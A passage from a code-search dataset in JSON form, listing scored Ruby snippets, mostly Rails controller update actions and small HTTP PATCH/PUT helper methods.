"text": "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"title": ""
},
{
"docid": "4e0e59715d19dce2a47fccc2c67326dd",
"score": "0.6307623",
"text": "def patch!\n request! :patch\n end",
"title": ""
},
{
"docid": "e7663d0348b74542ff1d2f4fd96156fe",
"score": "0.63031363",
"text": "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"title": ""
},
{
"docid": "a211c5f1153a600adb88c2a81cb6e48b",
"score": "0.62959594",
"text": "def update\n respond_to do |format|\n if @ficheiro.update(ficheiro_params)\n format.html { redirect_to @ficheiro, notice: 'File was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ficheiro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fea5d511e320e86d4f834cc3b2a7cf3",
"score": "0.6253559",
"text": "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a38799e1c0229700f1b7abf61121b177",
"score": "0.6247773",
"text": "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa735ab556d37c70906f6b499be5d74a",
"score": "0.62129366",
"text": "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f21082f8192380270a151d1c861d1cb7",
"score": "0.62128776",
"text": "def update\n respond_to do |format|\n if @tarifas_servicio.update(tarifas_servicio_params)\n format.html { redirect_to tarifas_servicios_url, notice: 'Tarifas servicio Se ha actualizado correctamente..' }\n format.json { render :show, status: :ok, location: @tarifas_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tarifas_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d6a61f3186174209e44862cb0ae05d7",
"score": "0.6202916",
"text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"title": ""
},
{
"docid": "c673f95dbea8b9737cac0e02d3826bc4",
"score": "0.61997896",
"text": "def update\n @fluxomatricula = Fluxomatricula.find(params[:id])\n\n respond_to do |format|\n if @fluxomatricula.update_attributes(params[:fluxomatricula])\n format.html { redirect_to @fluxomatricula, notice: 'Fluxomatricula was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fluxomatricula.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96072a31952cc4be672b787df791dec0",
"score": "0.61728543",
"text": "def update\n respond_to do |format|\n if @fondo.update(fondo_params)\n format.html { redirect_to @fondo, notice: 'Fondo was successfully updated.' }\n format.json { render :show, status: :ok, location: @fondo }\n else\n format.html { render :edit }\n format.json { render json: @fondo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ff2514517ec976e4f2386cd6035ff1d",
"score": "0.61521745",
"text": "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1051a4f1c9dc0bc9f4368974c2eb1062",
"score": "0.6145302",
"text": "def update\n respond_to do |format|\n if @fisier.update(fisier_params)\n format.html { redirect_to root_path, notice: 'Fisier was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fisier.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81dcde176dffc5d6552fa34e066787ea",
"score": "0.61414605",
"text": "def update\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n if @fulcliente.update_attributes(params[:fulcliente])\n format.html { redirect_to @fulcliente, notice: 'Fulcliente was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fulcliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "303060a263c85fea20750fedc6eae2bb",
"score": "0.6132871",
"text": "def update\n @ficha = Ficha.find(params[:id])\n\n respond_to do |format|\n if @ficha.update_attributes(params[:ficha])\n format.html { redirect_to @ficha, notice: 'Ficha alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1dea1e3fe2651bfb44c2a8469f9eaa2a",
"score": "0.61211973",
"text": "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b90fb19040b453b0881001efec106ea0",
"score": "0.61197364",
"text": "def update\n respond_to do |format|\n if @falta.update(falta_params)\n format.html { redirect_to @falta, notice: \"Falta was successfully updated.\" }\n format.json { render :show, status: :ok, location: @falta }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @falta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d1bb31d2fb09ce33140118987574be0a",
"score": "0.6105135",
"text": "def update\n respond_to do |format|\n if @contato.update(contato_params)\n format.html { redirect_to @contato, flash: { success: 'Contato was successfully updated.' } }\n format.json { render :show, status: :ok, location: @contato }\n else\n format.html { render :edit }\n format.json { render json: @contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855f81d29ee8ff100cfefb3479cedcdd",
"score": "0.6085758",
"text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "95115ebb256d1ee07d0d56c3ec19681c",
"score": "0.6072674",
"text": "def update\n respond_to do |format|\n if @tarefa.update(tarefa_params)\n format.html { redirect_to @tarefa, notice: 'Tarefa editada com sucesso.' }\n format.json { render :show, status: :ok, location: @tarefa }\n else\n format.html { render :edit }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e3fd9fcf8f01b222f74ea9350f91a7a2",
"score": "0.6071967",
"text": "def update\n @futbolada = Futbolada.find(params[:id])\n\n respond_to do |format|\n if @futbolada.update_attributes(params[:futbolada])\n format.html { redirect_to gestion_url, notice: 'Futbolada was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @futbolada.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22479815e1f1fb93b6842f9fc177fb22",
"score": "0.60663474",
"text": "def update\n respond_to do |format|\n if @fabrica.update(fabrica_params)\n format.html { redirect_to @fabrica, notice: 'Fabrica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fabrica.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89dcc849b40f145c8b0be32e5b7169bf",
"score": "0.606121",
"text": "def update\n respond_to do |format|\n if @foca.update(foca_params)\n format.html { redirect_to @foca, notice: 'Foca atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @foca }\n else\n format.html { render :edit }\n format.json { render json: @foca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4ef989d8743bdf8c57e55d4d894dddc",
"score": "0.60609543",
"text": "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"title": ""
},
{
"docid": "566b79a755478221953c8e53a0770812",
"score": "0.60602415",
"text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"title": ""
},
{
"docid": "566b79a755478221953c8e53a0770812",
"score": "0.60602415",
"text": "def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"title": ""
},
{
"docid": "f5fbc64be204fd97dfe79bc56b99eb6b",
"score": "0.60595196",
"text": "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: \"Piatto aggiornato correttamente.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95374fb72d94d568bcb1c2c918a2db33",
"score": "0.605426",
"text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "883e83ae6c18c070ec59b56c04a5ceb7",
"score": "0.60439146",
"text": "def update\n respond_to do |format|\n if @resto.update(resto_params)\n format.html { redirect_to @resto, notice: 'Entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @resto }\n else\n format.html { render :edit }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0677deb429289072f1f1c66ca72b8f2",
"score": "0.603378",
"text": "def update\n @familium = Familium.find(params[:id])\n\n respond_to do |format|\n if @familium.update_attributes(params[:familium])\n format.html { redirect_to @familium, notice: 'Familia fue actualizada existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familium.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e89e1f4225b31cf2dc1822c27265ca1d",
"score": "0.60333306",
"text": "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0cb852a216396be15abf7ac0c8952c68",
"score": "0.6031887",
"text": "def update\n respond_to do |format|\n if @faltante.update(faltante_params)\n format.html { redirect_to @faltante, notice: 'Faltante was successfully updated.' }\n format.json { render :show, status: :ok, location: @faltante }\n else\n format.html { render :edit }\n format.json { render json: @faltante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "11c7d08edf214e43d43d024dc1fdb801",
"score": "0.60309666",
"text": "def update\n respond_to do |format|\n if @fatura.update(fatura_params)\n format.html { redirect_to @fatura, notice: 'Fatura alterada com sucesso.' }\n format.json { render :show, status: :ok, location: @fatura }\n else\n if @fatura.errors.full_messages_for(:liquidacao).present?\n format.html { render :liquidacao }\n else\n format.html { render :edit }\n end\n format.json { render json: @fatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bc629b4a5ba6e1eb10d88a32dba260f",
"score": "0.60221046",
"text": "def update\r\n respond_to do |format|\r\n if @fabricante.update(fabricante_params)\r\n format.html { redirect_to fabricante_path(@fabricante), notice: 'Fabricante atualizada com sucesso.' }\r\n format.json { render :show, status: :ok, location: @fabricante }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @fabricante.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "8565b9ed6af37ff2131471f96a855df2",
"score": "0.6016868",
"text": "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ba1e573fca43b27ce353ecaf4ea1445",
"score": "0.60061353",
"text": "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"title": ""
},
{
"docid": "5ba1e573fca43b27ce353ecaf4ea1445",
"score": "0.60061353",
"text": "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"title": ""
},
{
"docid": "e690e0140eff095195310fbfe85a77ed",
"score": "0.60060894",
"text": "def update\n @fred = Fred.find(params[:id])\n\n respond_to do |format|\n if @fred.update_attributes(params[:fred])\n format.html { redirect_to @fred, notice: 'Fred was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fred.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "129813f878bdb65e40141aa72a205f4e",
"score": "0.6003869",
"text": "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"title": ""
},
{
"docid": "12faf70207ae533ec70a6f13e34e9a58",
"score": "0.59987164",
"text": "def update\n @frais_repa = FraisRepa.find(params[:id])\n\n respond_to do |format|\n if @frais_repa.update_attributes(params[:frais_repa])\n format.html { redirect_to @frais_repa, :notice => 'Le frais de repas a bien été modifé' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_repa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "daae097ae58e816618ec151bc9181663",
"score": "0.599722",
"text": "def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "506cd829e770195ec500ee5bc7ef3d2c",
"score": "0.59951746",
"text": "def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1796f75fde254ced9110a8f895d60d73",
"score": "0.59941214",
"text": "def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5e82cd590aa777f50099b2e20947e83",
"score": "0.59924144",
"text": "def update\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n if @funcionario.update_attributes(params[:funcionario])\n format.html { render :json => {:success => true} }\n format.xml { render :xml => @funcionario, :status => :created, :location => @funcionario }\n else\n format.html { render :json => ( (@funcionario.errors.full_messages.join(\".<br />\").to_s + \".\").to_json ) } unless @funcionario.errors.empty?\n end\n end\n end",
"title": ""
},
{
"docid": "1a1ccbf7153d90ad6ce5ccc7b894b68d",
"score": "0.59905165",
"text": "def update\n @fortune = Fortune.find(params[:id])\n\n respond_to do |format|\n if @fortune.update_attributes(params[:fortune])\n format.html { redirect_to @fortune, notice: 'Piosenka pozytywnie zaktualizowana.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fortune.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "79dbced75373f397b5aaf33eab44ac25",
"score": "0.5986333",
"text": "def update\n respond_to do |format|\n if @compra_venta_normal.update(compra_venta_normal_params)\n format.html { redirect_to @compra_venta_normal, notice: 'Compra venta normal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @compra_venta_normal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0fb2e4292bb5accb28d0c948a357a3d",
"score": "0.598478",
"text": "def update\n respond_to do |format|\n if @ficha.update(ficha_params)\n format.html { redirect_to @ficha, notice: 'Ficha was successfully updated.' }\n format.json { render :show, status: :ok, location: @ficha }\n else\n format.html { render :edit }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0fb2e4292bb5accb28d0c948a357a3d",
"score": "0.598478",
"text": "def update\n respond_to do |format|\n if @ficha.update(ficha_params)\n format.html { redirect_to @ficha, notice: 'Ficha was successfully updated.' }\n format.json { render :show, status: :ok, location: @ficha }\n else\n format.html { render :edit }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b396782ae84b796ac33b88f2a8af5676",
"score": "0.598073",
"text": "def update\r\n respond_to do |format|\r\n if @fio_titulo.update(fio_titulo_params)\r\n format.html { redirect_to fio_titulo_path(@fio_titulo), notice: 'Materia prima atualizada com sucesso.' }\r\n format.json { render :show, status: :ok, location: @fio_titulo }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @fio_titulo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "d799d67ac6dcab9fb497e0239d494b99",
"score": "0.59774",
"text": "def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5272fe85d53d6fa2a180cbb84ab4644",
"score": "0.5974957",
"text": "def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"title": ""
},
{
"docid": "f55ecab53a2de2768b3bb10fe6990eac",
"score": "0.59737194",
"text": "def update\n respond_to do |format|\n if @objeto.update(etiqueta_params)\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "407b8bf71f4e73639d8569de23b76d87",
"score": "0.59735227",
"text": "def update\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n if @foam.update_attributes(params[:foam])\n format.html { redirect_to @foam, notice: 'Foam was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foam.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "317ac281da222717478d577575ff970a",
"score": "0.5971586",
"text": "def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "838ab86dcd3ee3c1efda458a9960b3c5",
"score": "0.5971463",
"text": "def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cf13a5a0226cdacc591f1363bf185bc2",
"score": "0.59705675",
"text": "def update\n @calificacion_servicio = CalificacionServicio.find(params[:id])\n\n respond_to do |format|\n if @calificacion_servicio.update_attributes(params[:calificacion_servicio])\n format.html { redirect_to @calificacion_servicio, notice: 'Calificacion servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calificacion_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "517abd6cc935b061c85a250697d7a7d1",
"score": "0.5969942",
"text": "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ee6ecea15b4245402868041f17ebd695",
"score": "0.59684277",
"text": "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "038dd65f88c5ca8ebb3ccd36caea3f59",
"score": "0.59664685",
"text": "def update\n @frete = Frete.find(params[:id])\n\n respond_to do |format|\n if @frete.update_attributes(params[:frete])\n format.html { redirect_to @frete, notice: 'Frete was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @frete.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f7c61a5262e59919a212f4fb285ce7f",
"score": "0.5964241",
"text": "def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aca0a9afce826df2f2377498fc098f66",
"score": "0.5957613",
"text": "def update\n respond_to do |format|\n if @oficio.update(oficio_params)\n format.html { redirect_to oficios_url, notice: 'Oficio actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: oficios_url }\n else\n format.html { render :edit }\n format.json { render json: @oficio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2961463c279341e53c5324264e16f565",
"score": "0.5956599",
"text": "def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "680ace4ad34ff19b0b4a14f18a3d79f5",
"score": "0.59546745",
"text": "def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77bded7880eb73001ad21220f8b43c02",
"score": "0.595167",
"text": "def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac9229526c1019056095681dbf3df0d0",
"score": "0.59505385",
"text": "def update\n @forma_entrega = FormaEntrega.find(params[:id])\n\n respond_to do |format|\n if @forma_entrega.update_attributes(params[:forma_entrega])\n format.html { redirect_to @forma_entrega, notice: 'Forma entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @forma_entrega.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae2e8827defdd6e0f9b65c23040339ac",
"score": "0.59490734",
"text": "def pro_farm_update\n respond_to do |format|\n activo = params[:pro_far][:activo_produc]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n ProFar.where(producto_id: id, farmacium_id:farmacia_id).update_all(activo_produc: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"title": ""
},
{
"docid": "f3147e65e7dab14a114aa74e795da22a",
"score": "0.59467685",
"text": "def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57d009bb8775104a4aa805c98e4af16a",
"score": "0.59440583",
"text": "def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a2a5174b75ed2abfb5fff551a50f932a",
"score": "0.5941555",
"text": "def update\n @dependencia = Dependencia.find(params[:id])\n\n respond_to do |format|\n if @dependencia.update_attributes(dependencia_params)\n format.html { redirect_to @dependencia, notice: 'Dependencia se actualizo correctamente.' }\n format.json { head :no_content }\n format.js{}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dependencia.errors, status: :unprocessable_entity }\n format.js{}\n end\n end\n end",
"title": ""
},
{
"docid": "4dafa6844d17cd90e8f1028df3136352",
"score": "0.593675",
"text": "def update\n respond_to do |format|\n if @farmaceutico.update(farmaceutico_params)\n format.html { redirect_to @farmaceutico, notice: 'Farmaceutico was successfully updated.' }\n format.json { render :show, status: :ok, location: @farmaceutico }\n else\n format.html { render :edit }\n format.json { render json: @farmaceutico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9514999ec34049df6c3290cb322e8cff",
"score": "0.59348047",
"text": "def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "df2e8406880c08a490daa7936da0d2da",
"score": "0.59338045",
"text": "def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b198d1d8c216d9355ca7d944cb38e2f0",
"score": "0.5932152",
"text": "def update\n respond_to do |format|\n if @fertilizante.update(fertilizante_params)\n format.html { redirect_to @fertilizante, notice: 'Fertilizante was successfully updated.' }\n format.json { render :show, status: :ok, location: @fertilizante }\n else\n format.html { render :edit }\n format.json { render json: @fertilizante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97ccfc37e3c31ffd544aeb84448313be",
"score": "0.59307975",
"text": "def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "ee3a63b8c0fed949e84567631cb44776",
"score": "0.59264714",
"text": "def update\n respond_to do |format|\n if @objeto.update(carpeta_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "968d5a866d32890895ef7bdd911dd853",
"score": "0.59255046",
"text": "def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
